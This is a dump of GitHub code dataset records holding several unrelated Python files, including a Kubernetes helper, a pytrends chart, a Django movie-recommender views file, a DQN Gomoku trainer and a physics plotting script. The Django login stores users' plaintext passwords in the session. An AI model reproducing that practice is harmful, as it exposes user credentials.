LooseVersion(client_version) >= LooseVersion('17.05') and\\\n LooseVersion(server_version) >= LooseVersion('17.05'):\n client.has_msb_supported = True\n return client\n\n\ndef ensure_kube():\n with Action('Checking kube apiserver').start() as action:\n cmd = delegator.run('kubectl version')\n action.ensure_true(cmd.ok, \"Can't connect to kube apiserver\")\n return KubeClient()\n\n\ndef ensure_config():\n with Action('Loading go2pod.yml').start() as action:\n version = None\n with Action('Try to load versionfile').start():\n tmpdir = os.path.join(os.getcwd(), './tmp-go2pod')\n versionfile_path = os.path.join(tmpdir, VERSIONFILE)\n if os.path.exists(versionfile_path):\n with open(versionfile_path) as f:\n version = f.read().strip()\n try:\n config = Config.load(CONFIG_YAML, version=version)\n except ConfigLoadError as e:\n action.fail(str(e))\n return config\n\n\ndef ensure_tmpdir(create=True):\n \"\"\"ensure a tmp directory in current workspace\n\n We will not delete this directory automatically.\n\n We do not use tempfile to create tempdirectory because\n dockerd may have its own /tmp. For example, when dockerd is\n running under ubuntu snap environment, dockerd will\n have its own tmp directory.\n \"\"\"\n dirpath = os.path.join(os.getcwd(), './tmp-go2pod')\n with Action('Checking go2pod tmpdir: ./tmp-go2pod').start() as action:\n exists = os.path.exists(dirpath)\n if not exists:\n if create:\n os.mkdir(dirpath)\n else:\n action.fail('go2pod tmpdir not found')\n return dirpath\n\n\ndef ensure_podyaml():\n with Action('Checking ./tmp-go2pod/pod.yaml').start() as action:\n tmpdir = ensure_tmpdir(create=False)\n yaml_path = os.path.join(tmpdir, PODYAML)\n action.ensure_true(os.path.exists(yaml_path))\n return yaml_path\n","repo_name":"cosven/go2pod","sub_path":"go2pod/ensure.py","file_name":"ensure.py","file_ext":"py","file_size_in_byte":3703,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"21082766038","text":"# Install pytrends -- pip install pytrends\n# Install matplotlib -- pip install matplotlib\n\nimport pytrends\n\nfrom pytrends.request import TrendReq\n\nimport pandas as pds\n\nimport matplotlib.pyplot as pplt\n\nsearch_key = 'messi'\n\ntrend_init = TrendReq()\n\ntrend_init.build_payload(kw_list=[search_key])\n\ndata_trend = trend_init.interest_by_region()\n\ndata_trend = data_trend.sort_values(by=search_key, ascending=False)\n\ndata_trend = data_trend.head(20)\n\ndata_trend.reset_index().plot(x='geoName', y=search_key, figsize=(10,10), kind='bar')\n\npplt.title('Analysis data by region', fontweight='bold')\n\npplt.xlabel('Country')\n\npplt.ylabel('Trend')\n\npplt.show()\n","repo_name":"baitul-hossain/analyse_Google_Trends_with_Python","sub_path":"interest_by_region_graph.py","file_name":"interest_by_region_graph.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"72187204323","text":"import os\nfrom app.db.repositories import groupdelete_repository\nfrom app.models.schemas.groups import GroupDeleteSchema\nfrom app.services import http_requests\nfrom app.core import logging\n\nCLUSTER_URL = os.getenv('CLUSTER_URL')\n\n\nasync def add_delete_group(transaction_id: str):\n \"\"\"Record DB groupdelete table with transaction id and timestamp\n\n Args:\n transaction_id (str): transaction_id of group\n \"\"\"\n await groupdelete_repository.create(GroupDeleteSchema(transaction_id=transaction_id))\n # Create Group - Delete Group couldn't be sent to Cluster API.\n # Transaction ID added to delete group table to be processed by Background Repeated Task.\n # If the API is unstable when sending create group http request - > \n # Add to be table, and to rollback the process delete the data anyway\n # If the API is unstable when sending delete group http request - > \n # Add to be table, and delete the data anyway\n # The Background repeated job will be working repeatedly all provide the consistency between this API and Cluster API\n logging.info(\"Create Group - Delete Group couldn't be sent to Cluster API.\")\n logging.info(\"Transaction ID : {}\".format(str(transaction_id)))\n\n\nasync def check_and_send_delete_group_task() -> None:\n \"\"\"Checks db table deletegroup and if any data exists, sends http request to the cluster,\n If it can delete group, then remove data from deletegroup table, \n Otherwise do the job repeatedly\n \"\"\"\n try:\n groups_to_delete = await groupdelete_repository.get_all()\n for group_to_delete in groups_to_delete.groups:\n logging.info(\"Transaction to be deleted : {}\".format(str(group_to_delete.transaction_id)))\n url = \"{}/transaction/{}/\".format(CLUSTER_URL,\n group_to_delete.transaction_id)\n response, status_code = await http_requests.delete(url, group_to_delete.transaction_id)\n if response or status_code == 204: # 200 or 204 -> No such data or deleted, remove from group delete table\n await groupdelete_repository.delete_by_transaction(str(group_to_delete.transaction_id))\n logging.info(\"No such group in cluster so deleted from groupdelete table\")\n except Exception as ex:\n logging.info(str(ex))\n","repo_name":"ElnuraMusaoglu/APIConsumer","sub_path":"app/services/rollback_service.py","file_name":"rollback_service.py","file_ext":"py","file_size_in_byte":2324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"5923273728","text":"import json\nimport os\nimport random\nimport time\nimport glob\nfrom datetime import datetime\n\nfrom docx import Document\nfrom docx.enum.text import WD_ALIGN_PARAGRAPH\nfrom docx.oxml.ns import qn\nfrom docx.shared import Cm, Inches\nfrom PIL import Image\n\nCONF = {}\n# 解析配置文件\nwith open(\"subjectconf.json\", \"r\", encoding=\"utf-8\") as f:\n# 获取配置字典\n CONF = json.load(f)\n \ndef handle_img(index,sub):\n \"\"\"拼接图片\"\"\"\n src_path = './bank/'+ str(index) + '/'\n path_dir = os.listdir(src_path)\n filenum = len(path_dir) \n if filenum > 0:\n picknum = sub[\"PICKNUM\"]\n if filenum < picknum:\n picknum = filenum\n\n sample = random.sample(path_dir, picknum)\n imgs = []\n result = None\n\n for path in sample:\n if '.png' in path:\n des_path = src_path + path\n imgs.append(Image.open(des_path))\n \n if len(imgs)>0:\n # 单幅图像尺寸\n width, height = sub[\"UNIT_W\"], sub[\"UNIT_H\"]\n\n # 创建空白长图\n result = Image.new('RGB', (width*len(imgs), height), color=0)\n for i, img in enumerate(imgs):\n if img.mode == \"P\":\n img = img.convert('RGB')\n\n img = img.resize((width, height))\n result.paste(img, box=(i*width,0))\n \n # 保存图片\n res_img = str(index)+'.png'\n\n if result:\n result.save(res_img)\n return res_img\n return \"\"\n\ndef create_doc():\n document = Document()\n date_now = datetime.now() \n desk_path = os.path.join(os.path.expanduser(\"~\"),'Desktop')+'/试卷/'\n \n if not os.path.exists(desk_path):\n os.makedirs(desk_path)\n res_doc = desk_path+'试卷'+ date_now.strftime('%Y-%m-%d %Hh%Mm%Ss')+'.docx'\n\n\n # 生成段落\n for index in CONF[\"subject_detail\"]:\n # document.add_heading('Heading, level 1', level=1)\n document.add_paragraph(CONF[\"subject_detail\"][index][\"TEXT\"], style='List Number')\n i=0\n while i < CONF[\"subject_detail\"][index][\"ROWS\"]:\n img = handle_img(index, CONF[\"subject_detail\"][index])\n if os.path.exists(img):\n document.add_picture(img,width = Inches(CONF[\"subject_detail\"][index][\"IMG_W\"]),\n height=Inches(CONF[\"subject_detail\"][index][\"IMG_H\"]))\n # document.add_picture(img,width = Inches(1),height=Inches(1))\n i+=1\n\n # 修改页边距\n document.sections[0].top_margin = Cm(2.5)\n document.sections[0].right_margin = Cm(1.27)\n document.sections[0].bottom_margin = Cm(2.5)\n document.sections[0].left_margin = Cm(1.27)\n\n document.save(res_doc)\n\ndef clear_cache():\n path = os.path.abspath(os.path.dirname(__file__))\n for cachefile in glob.glob(os.path.join(path, '*.png')):\n os.remove(cachefile)\n\ndef main():\n doc_num = CONF[\"doc_num\"]\n for i in range(doc_num):\n create_doc()\n time.sleep(1)\n clear_cache()\n\nif __name__ == '__main__':\n print(\"======开始生成试卷======\")\n main()\n print(\"======试卷生成完毕======\")\n","repo_name":"octocatte/python-docx-demo","sub_path":"create_doc.py","file_name":"create_doc.py","file_ext":"py","file_size_in_byte":3143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"10524292768","text":"import datetime\nfrom django.shortcuts import render\nfrom django.template import loader\nfrom django.http import HttpResponse, JsonResponse, HttpResponseBadRequest, HttpResponseForbidden, Http404\nfrom django.contrib.auth.hashers import check_password\nfrom django.db import IntegrityError\nfrom django.core import serializers\nfrom .models import Movie, Review, Member\nfrom .forms import SignupForm\nimport numpy as np\n\n########################################################################################################\n#login\n\n#called by button press or url \n#render login page which sends post requests to signUp or Login\ndef signIn(request):\n signupForm = SignupForm()\n return render(request, 'movies/login.html', {\"signupForm\" : signupForm})\n\n#if Signing up check the form, create a member then send request on to logIn\ndef signUp(request):\n if request.method=='POST':\n form = SignupForm(request.POST, request.FILES) \n \n if form.is_valid():\n p = request.POST\n member = Member(username=p['email'], name=p['name'], dob=p['dob'], gender=p['gender'], email=p['email'])\n member.set_password(p['password'])\n \n if len(request.FILES) <= 0:\n member.image = 'usrImages/default.png'\n else:\n member.image = request.FILES['image']\n \n try: member.save()\n except IntegrityError: return HttpResponseBadRequest(\"Email already in use\")\n\n member.save()\n \n return logIn(request) \n else:\n return HttpResponseBadRequest(\"Invalid form!\")\n\n#called from login.html as post request, checks login credentials\n#renders index for the time being\ndef logIn(request):\n if not ('email' in request.POST and 'password' in request.POST):\n return HttpResponseBadRequest(\"Invalid form!\")\n else: \n email = request.POST['email']\n password = request.POST['password'] \n try: \n member = Member.objects.get(email=email)\n except Member.DoesNotExist: \n return HttpResponseBadRequest('ERROR: No user found with email: ' + email)\n\n if member.check_password(password):\n request.session['email'] = email\n request.session['password'] = password\n member = Member.objects.get(email=email)\n\n #temporarily returns to index.html\n #response = render(request, 'movies/index.html', context)\n return index(request)\n\n now = datetime.datetime.utcnow()\n max_age = 24 * 60 * 60 #one day\n delta = now + datetime.timedelta(seconds=max_age)\n format = \"%a, %d-%b-%Y %H:%M:%S GMT\"\n expires = datetime.datetime.strftime(delta, format)\n response.set_cookie('last_login',now,expires=expires)\n \n return response\n else:\n return HttpResponseBadRequest('Wrong password')\n \n return index(request)\n\n#flushes session \ndef logOut(request):\n request.session.flush()\n return index(request)\n #return render(request, 'movies/index.html')\n\n#if user is logged in return the user else return None\ndef getLoggedInUser(request):\n if 'email' in request.session:\n email = request.session['email']\n try: member = Member.objects.get(email=email)\n except Member.DoesNotExist: raise Http404('Member does not exist')\n return member\n else:\n return None\n\n#End Refactored login\n###########################################################################################\n#page views\ndef index(request):\n context = {}\n\n #first check whether a user is logged in and set contexts\n loggedInUser = getLoggedInUser(request)\n if loggedInUser != None:\n context[\"user\"] = loggedInUser\n context[\"LoggedIn\"] = True\n else:\n context[\"user\"] = None\n context[\"LoggedIn\"] = False\n \n #this is between range of 1 inclusive and 251 exclusive (due to django 1 indexing)\n #will not have repeats\n randindexes = np.random.choice(np.arange(1,251), 5, replace=False)\n \n #get movie by index then get its similars, create a list to combine them into a row\n #append to movie rows\n #movie rows is a 2d list of movie objects\n movieRows = []\n for i in randindexes:\n movie = Movie.objects.get(id = i)\n similarMovies = movie.getSimilarMovies()\n simList = list(similarMovies)\n simList.insert(0,movie)\n movieRows.append(simList)\n\n context [\"movieRows\"] = movieRows\n return render(request, 'movies/index.html', context)\n\n\ndef moviePage(request, id):\n movie = Movie.objects.get(id = id)\n similarMovies = movie.getSimilarMovies()\n context = {\n \"movie\": movie,\n \"similarMovieList\": similarMovies,\n \"reviews\" : movie.reviews.all(),\n }\n\n loggedInUser = getLoggedInUser(request)\n if loggedInUser != None:\n context[\"user\"] = loggedInUser\n context[\"LoggedIn\"] = True\n else:\n context[\"user\"] = None\n context[\"LoggedIn\"] = False\n \n if request.method == 'POST':\n if loggedInUser != None:\n Review.objects.create(author = loggedInUser, text = request.POST['text'], movie = movie)\n reviews = movie.reviews.all()\n #as author is foreign key to reviews, needed to add natural foreign keys for serialisation\n data = serializers.serialize('json', reviews, use_natural_foreign_keys=True, use_natural_primary_keys=True)\n return JsonResponse(data=data, safe=False)\n else:\n return HttpResponseBadRequest('please Log In to submit a review')\n\n return render(request, 'movies/moviepage.html', context)\n\ndef testingExperiment(request):\n movieTestSet = [80, 138, 155, 176, 218, 129, 90, 207, 166, 76, 95, 203, 99, 105, 225, 246, 18, 158, 9, 56]\n context = {}\n \n loggedInUser = getLoggedInUser(request)\n if loggedInUser != None:\n context[\"user\"] = loggedInUser\n context[\"LoggedIn\"] = True\n else:\n return signIn(request)\n\n \n if request.method == 'GET':\n request.session['counter'] = 0\n count = request.session['counter']\n request.session['answers'] = []\n elif request.method == 'POST':\n if request.session['counter'] >= 19:\n print(request.session['answers'])\n ans = request.session['answers']\n #have to store array as a string because django does not have array fields for sqlite dbs\n stringAns = \";\".join(ans)\n loggedInUser.answers = stringAns\n loggedInUser.save()\n request.session['answers'] = []\n return HttpResponse('Thank you for taking the time to complete this experiment!')\n \n request.session['counter'] += 1\n count = request.session['counter']\n answer = request.POST['choice']\n #append answer to the array\n if not 'answers' in request.session or not request.session['answers']:\n request.session['answers'] = [answer]\n else:\n answers_list = request.session['answers']\n answers_list.append(answer)\n request.session['answers'] = answers_list\n\n movie = Movie.objects.get(id = movieTestSet[count])\n similarMovies = movie.getSimilarMovies()\n randMoviesIndexes= np.random.choice(np.arange(1,251), 10, replace=False)\n randMovies = Movie.objects.filter(id__in=randMoviesIndexes)\n \n context[\"movie\"] = movie\n context[\"similarMovieList\"] = similarMovies\n context[\"randomMovieList\" ] = randMovies\n\n return render(request, 'movies/test.html', context)\n#########################################################################################","repo_name":"MaxCSwann/MovieRecommender","sub_path":"recommender/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"34422731720","text":"import os\nimport tensorflow as tf\nimport numpy as np\nimport random\nfrom collections import deque\n\nimport ui\n\nnum_episodes = 1000 # 游戏训练的总episode数量\nnum_exploration_episodes = 500 # 探索过程所占的episode数量\nmax_len_episode = (ui.MAP_SIZE * ui.MAP_SIZE - 1) // 4 # 每个episode的最大回合数\nbatch_size = 4 # 批次大小\nlearning_rate = 3e-2 # 学习率\ngamma = 1. # 折扣因子\ninitial_epsilon = 1 # 探索起始时的探索率\nfinal_epsilon = 0.03 # 探索终止时的探索率\noutput_size = ui.MAP_SIZE * ui.MAP_SIZE\ncheckpoint_path = \"checkpoints/cp.ckpt\"\ncheckpoint_dir = os.path.dirname(checkpoint_path)\nclass QNetwork(tf.keras.Model):\n def __init__(self):\n super().__init__()\n self.dense1 = tf.keras.layers.Dense(units=300, activation=tf.nn.relu)\n self.dense2 = tf.keras.layers.Dense(units=200, activation=tf.nn.relu)\n self.dense3 = tf.keras.layers.Dense(units=output_size)\n\n def call(self, inputs):\n x = self.dense1(inputs)\n x = self.dense2(x)\n x = self.dense3(x)\n return x\n\n def predict(self, inputs):\n # q_values = self(inputs)\n # q_values = tf.multiply(q_values, self.chessloc)\n # index = tf.argmax(q_values, axis=-1)\n # return index\n q_values = self(inputs)\n q_values = tf.multiply(q_values, self.chessloc)\n max1 = tf.argmax(q_values, axis=-1)\n max1 = max1.numpy()\n max1 = max1[0]\n a = [1 for _ in range(0, 225)]\n a[max1] = 0\n f = tf.convert_to_tensor(a)\n f = tf.reshape(f, [1, tf.shape(f)[0]])\n f = tf.cast(f, dtype=tf.float32)\n q_values = q_values * f\n max2 = tf.argmax(q_values, axis=-1).numpy()\n max2 = max2[0]\n return max1, max2\n\n def get_qvalues(self, inputs):\n q_values = self(inputs)\n return q_values\n\n\ndef create_two_hot(action1, action2):\n '''\n 生成一个形状为 [225],两个指定位置为 1,其余位置为 0 的tensor\n :param action1:\n :param action2:\n :return:\n '''\n print(action1, action2)\n b = [0 for _ in range(225)]\n b[action1] = 1\n b[action2] = 1\n f = tf.convert_to_tensor(b)\n f = tf.cast(f, dtype=tf.float32)\n return f\n\ndef random_stupid():\n x1, y1, x2, y2, _, _ = ui.stupid_ai2()\n actiona = ui.xy2l(x1, y1)\n actionb = ui.xy2l(x2, y2)\n return actiona, actionb\n\ndef random_action():\n action = random.randint(0, 224)\n while True:\n if ui.chessable[action] == ui.CHESSABLE:\n actiona = action\n break\n action += 1\n if action >= 225:\n action = 0\n action = random.randint(0, 224)\n while True:\n if ui.chessable[action] == ui.CHESSABLE and action != actiona:\n actionb = action\n break\n action += 1\n if action >= 225:\n action = 0\n return actiona, actionb\n\nif __name__ == '__main__':\n # 实例化一个游戏环境\n ui.board_init()\n player = ui.WHITE\n model = QNetwork()\n model.load_weights('./checkpoints/my_checkpoint')\n # model = tf.loadLayersModel('./checkpoints/my_checkpoint')\n # model = keras.models.load_model('./checkpoints/my_checkpoint')\n optimizer = tf.keras.optimizers.Adam(learning_rate=learning_rate)\n replay_buffer = deque(maxlen=10000) # 使用一个 deque 作为 Q Learning 的经验回放池\n epsilon = initial_epsilon\n win = 0\n for episode_id in range(num_episodes):\n # 初始化环境,获得初始状态\n ui.board_init()\n state, _chess_loc = ui.get_state(player)\n model.chessloc = _chess_loc\n epsilon = max( # 计算当前探索率\n initial_epsilon * (num_exploration_episodes/1.2 - episode_id) / num_exploration_episodes,\n # initial_epsilon,\n final_epsilon)\n for t in range(max_len_episode):\n if random.random() < epsilon: # epsilon-greedy 探索策略,以 epsilon 的概率选择随机动作\n # if 1 < 0:\n # 选择随机动作(探索)\n # actiona, actionb = random_stupid()\n actiona, actionb = random_action()\n else:\n # action = model.predict(np.expand_dims(state, axis=0)).numpy() # 选择模型计算出的 Q Value 最大的动作\n # 这里 predict 的值为一个 tensor, 需要调用 numpy 方法转成一个一维数组,然后取出第 0 个元素\n actiona, actionb = model.predict(np.expand_dims(state, axis=0))\n if actiona == 0 or actionb == 0:\n actiona, actionb = random_stupid()\n\n # print('model:', model.predict(np.expand_dims(state, axis=0)))\n # print('action', action)\n # model: tf.Tensor([110], shape=(1,), dtype=int64)\n # action [110]\n # action = action[0]\n # for x in range(output_size):\n # if chessable[x] == 1:\n # action = action[x]\n # break\n # if x == output_size - 1:\n # action = action[x]\n\n # 让环境执行动作,获得执行完动作的下一个状态,动作的奖励,游戏是否已结束以及额外信息\n # next_state, reward, done, info = env.step(action)\n next_state, reward, done = ui.computer_step(actiona, actionb, player)\n # TODO 检查落子失败的错误\n # 将(state, action, reward, next_state)的四元组(外加 done 标签表示是否结束)放入经验回放池\n replay_buffer.append((state, actiona, reward, next_state, 1 if done else 0))\n replay_buffer.append((state, actionb, reward, next_state, 1 if done else 0))\n # 更新当前 state\n state = next_state\n # 更新当前 chessable\n model.chessloc = ui.chessable\n if done: # 游戏结束则退出本轮循环,进行下一个 episode\n if reward > 100:\n win += 1\n if episode_id%10==0:\n print(\"episode: %3d, epsilon: %.3f, t:%2d, 胜率=%.2f\" % (episode_id, epsilon, t+1, win/10))\n win = 0\n break\n\n if len(replay_buffer) >= batch_size:\n # 从经验回放池中随机取一个批次的四元组,并分别转换为 NumPy 数组\n batch_state, batch_action, batch_reward, batch_next_state, batch_done = \\\n map(np.array, zip(*random.sample(replay_buffer, batch_size)))\n q_value = model(batch_next_state)\n y = batch_reward + (gamma * tf.reduce_max(q_value, axis=1)) * (1 - batch_done) # 计算 y 值\n # _inx = tf.multiply(model(batch_state), tf.one_hot(batch_action, depth=225, dtype=tf.float32))\n with tf.GradientTape() as tape:\n loss = tf.keras.losses.mean_squared_error( # 最小化 y 和 Q-value 的距离\n y_true=y,\n y_pred=tf.reduce_sum(model(batch_state) * tf.one_hot(batch_action, depth=225), axis=1)\n # y_pred = tf.reduce_sum(model(batch_state) * create_two_hot(batch_action1, batch_action2), axis=1)\n )\n grads = tape.gradient(loss, model.variables)\n optimizer.apply_gradients(grads_and_vars=zip(grads, model.variables)) # 计算梯度并更新参数\n if episode_id % 49 == 0:\n model.save('./checkpoints/my_checkpoint')\n","repo_name":"qjksxy/ai6","sub_path":"main/dqn6.py","file_name":"dqn6.py","file_ext":"py","file_size_in_byte":7743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"384698358","text":"from sys import stdin\nread = stdin.readline\ndic = {}\nvisited = []\n\nfor i in range(int(read())):\n dic[i+1] = set()\n\nfor j in range(int(read())):\n a, b = map(int,read().split())\n # 양쪽에 그래프 값을 넣어줌\n dic[a].add(b)\n dic[b].add(a)\n\ndef dfs(start, dic):\n for i in dic[start]:\n print(i)\n if i not in visited:\n visited.append(i)\n print(visited)\n dfs(i, dic)\n\ndfs(1, dic)\n\nprint(dic)\nprint(len(visited)-1)\n\n\n\n","repo_name":"jskim096/algorithm","sub_path":"백준/2606 바이러스.py","file_name":"2606 바이러스.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"3554279502","text":"import time\nimport asyncio\nimport os\n\nfrom azure.eventhub.aio import EventHubProducerClient\nfrom azure.eventhub import EventData\n\nCONNECTION_STR = os.environ['EVENT_HUB_CONN_STR']\nEVENTHUB_NAME = os.environ['EVENT_HUB_NAME']\n\n\nasync def on_success(events, pid):\n # sending succeeded\n print(events, pid)\n\n\nasync def on_error(events, pid, error):\n # sending failed\n print(events, pid, error)\n\n\nasync def run():\n\n producer = EventHubProducerClient.from_connection_string(\n conn_str=CONNECTION_STR,\n eventhub_name=EVENTHUB_NAME,\n buffered_mode=True,\n on_success=on_success,\n on_error=on_error\n )\n\n # exiting the context manager will automatically call flush\n async with producer:\n # single events will be batched automatically\n for i in range(10):\n # the method returning indicates the event has been enqueued to the buffer\n await producer.send_event(EventData('Single data {}'.format(i)))\n\n batch = await producer.create_batch()\n for i in range(10):\n batch.add(EventData('Single data in batch {}'.format(i)))\n # alternatively, you can enqueue an EventDataBatch object to the buffer\n await producer.send_batch(batch)\n\n # calling flush sends out the events in the buffer immediately\n await producer.flush()\n\nstart_time = time.time()\nasyncio.run(run())\nprint(\"Send messages in {} seconds.\".format(time.time() - start_time))\n","repo_name":"Azure/azure-sdk-for-python","sub_path":"sdk/eventhub/azure-eventhub/samples/async_samples/send_buffered_mode_async.py","file_name":"send_buffered_mode_async.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","stars":3916,"dataset":"github-code","pt":"54"} +{"seq_id":"40903404334","text":"B\"\"\"\n Author: Ambrogi Federico\n federico.ambrogi@univie.ac.at\n\n Module for analysing the output root files\n and plotting the weights of the missing TxNames or missing models \n\"\"\"\n\nimport os,sys\nimport matplotlib\nmatplotlib.use('Agg')\nfrom matplotlib import cm\nfrom itertools import izip\nfrom matplotlib import ticker\nimport matplotlib.pyplot as plt\nfrom matplotlib.colors import LogNorm\nimport argparse\nimport numpy as np\n\nfrom Extract_Info_Plotting import *\n\n\n'''\n\"\"\" Selects the results based on SModelS minimum rValue \"\"\"\n\n\ndef Select_Results(results = 'Numpy/ScyNet_Res.py', 'min_r = 100, max_r = 1000, min_chi = 100, debug= False):\n\"\"\" Selects the results based:\n\n Args:\n results: numpy files, converted from the root file, by the script \n min SModelS r_value\n max SModelS r_value\n min ScyNet chi2\n\n returns a dictionary with the information of particles masses and values \"\"\"\n\n\n RESULTS = np.load(results).item()\n Neu = RESULTS['Neu1']\n Slep = RESULTS['Slep']\n Neu2 = RESULTS['Neu2']\n Ch1 = RESULTS['Ch1']\n rVal = RESULTS['rValue']\n Glu = RESULTS['Glu']\n Sq = RESULTS['Sq']\n xi2 = RESULTS['ScyChi2']\n\n NEU,SLEP,NEU2,CH1,GLU,SQ,R,XI2 = [],[],[],[],[],[],[],[]\n\n ### Choose a number of points (all or 10 for debugging)\n if debug == True: \n num_points = 10\n elif debug == False:\n num_points = range(len(Neu))\n\n for num in num_points:\n \n r = rVal[num]\n chi_2 = xi2[num] \n if r < min_r : continue # cut on the SMo rvalue\n if r > max_r : continue\n if chi_2 < min_chi : continue\n\n if debug: print 'the min rvalue and the min chi_2 are: *** ', r , ' ' , chi_2\n\n SLEP.append(Slep[num])\n NEU.append(Neu[num])\n R.append(r)\n GLU.append(Glu[num])\n SQ.append(Sq[num])\n CH1.append(Ch1[num])\n NEU2.append(Neu[num])\n XI2.append(xi2[num])\n return NEU,SLEP,NEU2,CH1,GLU,SQ,R,XI2\n'''\n\nmin_r = 0.9\nmin_chi = 40\nmax_r = 50\nmax_chi = 200\nNEU,SLEP,NEU2,CH1,GLU,SQ, R,XI2, MISS_TOPO_BRA,MISS_TOPO_TX,MISS_TOPO_W, MISS_CON_BRA,MISS_CON_W,dic = Select_Results(min_r = min_r, min_xi = min_chi, max_r = max_r, max_xi = max_chi, debug= True)\n\n\ndef Plane_Prop(plane):\n Max_Neu = 400\n\n Slep_Neu = { 'xmin': 0 , 'xmax': 800 ,\n 'ymin': 0 , 'ymax': Max_Neu ,\n 'x_lab_pos:': 100 , 'y_lab_pos': 2800 ,\n 'xlab': Slep_M , 'ylab': Neu_M }\n \n Ch1_Neu = { 'xmin': 0 ,'xmax':700 ,\n 'ymin': 0 ,'ymax': Max_Neu ,\n 'x_lab_pos:': 100 , 'y_lab_pos': 2800 ,\n 'xlab': Ch1_M , 'ylab': Neu_M }\n \n Glu_Neu = { 'xmin': 2300 ,'xmax':3500 ,\n 'ymin': 0 ,'ymax': Max_Neu ,\n 'x_lab_pos:': 100 , 'y_lab_pos': 2800 ,\n 'xlab': Glu_M , 'ylab': Neu_M }\n\n Sq_Neu = { 'xmin': 2300 ,'xmax':3500 ,\n 'ymin': 0 ,'ymax': Max_Neu ,\n 'x_lab_pos:': 100 , 'y_lab_pos': 2800 ,\n 'xlab': Sq_M , 'ylab': Neu_M }\n \n if plane == 'Slep_Neu':\n return Slep_Neu, SLEP, NEU, R , XI2\n elif plane == 'Ch1_Neu':\n return Ch1_Neu, CH1, NEU, R , XI2\n elif plane == 'Glu_Neu':\n return Glu_Neu, GLU, NEU, R , XI2\n elif plane == 'Sq_Neu':\n return Sq_Neu, SQ, NEU, R , XI2\n\n\ndef Color_Bar(plt , size = '' , bins = '' , title = '' ):\n cbar = plt.colorbar() \n cbar.set_label( title , rotation = 90, fontsize = size)\n tick_locator = ticker.MaxNLocator(nbins=bins)\n cbar.locator = tick_locator\n cbar.update_ticks()\n\ndef Plot_Properties(Dic_Prop):\n plt.xlabel(Dic_Prop['xlab'] , fontsize = FONTSIZE) \n plt.ylabel(Dic_Prop['ylab'] , fontsize = FONTSIZE) \n plt.grid()\n plt.axis([ Dic_Prop['xmin'], Dic_Prop['xmax'], Dic_Prop['ymin'] , Dic_Prop['ymax'] ])\n \n\nPlanes = ['Slep_Neu', 'Ch1_Neu', 'Glu_Neu', 'Sq_Neu']\n\nMarker_Size = 10\nBINS = 5\nFONTSIZE = 20\nREV = False\nVMAX = 5\n\n'''\n\"\"\" SModelS rValues \"\"\"\nfor P in Planes:\n Dic_Prop , x , y , z , u = Plane_Prop(P)\n sorted_lists = sorted(izip(x , y, z), reverse=REV, key=lambda x: x[2]) \n X,Y,Z = [[x[i] for x in sorted_lists] for i in range(3)] \n plt.scatter(-100,-100, color = 'gray', label = r'Only rValue > 0.9: ' + str(len(X)) )\n plt.scatter(X, Y, c = Z , marker = 'o', s = Marker_Size , cmap = cm.jet,edgecolors='none' , vmin=1, vmax = 5 )\n Color_Bar(plt , size = FONTSIZE , bins = BINS , title = rValue )\n Plot_Properties(Dic_Prop)\n plt.legend(loc ='upper right', fontsize = FONTSIZE-9, fancybox = True)\n plt.savefig(P + '_rValue_all.pdf', bbox_inches='tight')\n plt.savefig('/afs/hephy.at/user/f/fambrogi/www/Fittino/' + P + '_rValue_all.pdf', bbox_inches='tight' )\n plt.close()\n'''\n\n\"\"\" SModelS rValues \"\"\"\nBINS = 6\nVMAX = 120\nfor P in Planes:\n Dic_Prop , x , y , z , u = Plane_Prop(P)\n sorted_lists = sorted(izip(x , y, u), reverse=REV, key=lambda x: x[2])\n X,Y,Z = [[x[i] for x in sorted_lists] for i in range(3)]\n plt.scatter(-100,-100, color = 'gray', label = r'Only rValue > 0.9: ' + str(len(X)) )\n plt.scatter(X, Y, c = Z , marker = 'o', s = Marker_Size , cmap = cm.jet,edgecolors='none' , vmin=1, vmax = VMAX )\n Color_Bar(plt , size = FONTSIZE , bins = BINS , title = ScyXi2 )\n Plot_Properties(Dic_Prop)\n plt.legend(loc ='upper right', fontsize = FONTSIZE-9, fancybox = True)\n plt.savefig(P + '_ScyNetChi2_'+str(min_r)+'.pdf', bbox_inches='tight')\n plt.savefig('/afs/hephy.at/user/f/fambrogi/www/Fittino/' + P + '_ScyNetChi2_'+str(min_r)+'.pdf', bbox_inches='tight' )\n plt.close()\n\n\n\n\n\n'''\ndef Axis_Properties(WHAT, plt, XLABEL='x', xmin=0, XMAX=1000, YLABEL='y', ymin=0, YMAX= 1000, FONTSIZE=18, COSA = 'what is this', ana = '' , txt_1 = '', lab_x = 1 , lab_y = 1):\n \n color = 'red'\n plt.xlabel(XLABEL , fontsize = FONTSIZE)\n plt.ylabel(YLABEL , fontsize = FONTSIZE)\n plt.axis([xmin, XMAX, ymin , YMAX])\n plt.text(lab_x, lab_y , WHAT + '-like LSP' , {'color':color , 'fontsize': FONTSIZE-4} , bbox=dict(edgecolor='white',facecolor='white'))\n #plt.text(lab_x ,lab_y - YMAX/13 , COSA , {'color':'black' , 'fontsize': FONTSIZE-4} , bbox=dict(edgecolor='black',facecolor='white'))\n plt.text(lab_x ,lab_y-YMAX/17 , txt_1 , {'color':'black' , 'fontsize': FONTSIZE-4} , bbox=dict(edgecolor='white',facecolor='white'))\n\ndef Scatter_Plot(x='', y = '' , xlabel = '', ylabel = '' , z = '', zlabel = '' , ana='' , txt_1 = '' , text = 'ciao', WHAT='' , suff = 'something' , place = '' , bins= ''):\n\n LAB_X = place['lab_x'] \n LAB_Y = place['lab_y']\n ymax = place['y_max']\n XMAX = place['x_max']\n sorted_lists = sorted(izip(x , y, z), reverse=REV, key=lambda x: x[2])\n X,Y,Z = [[x[i] for x in sorted_lists] for i in range(3)]\n 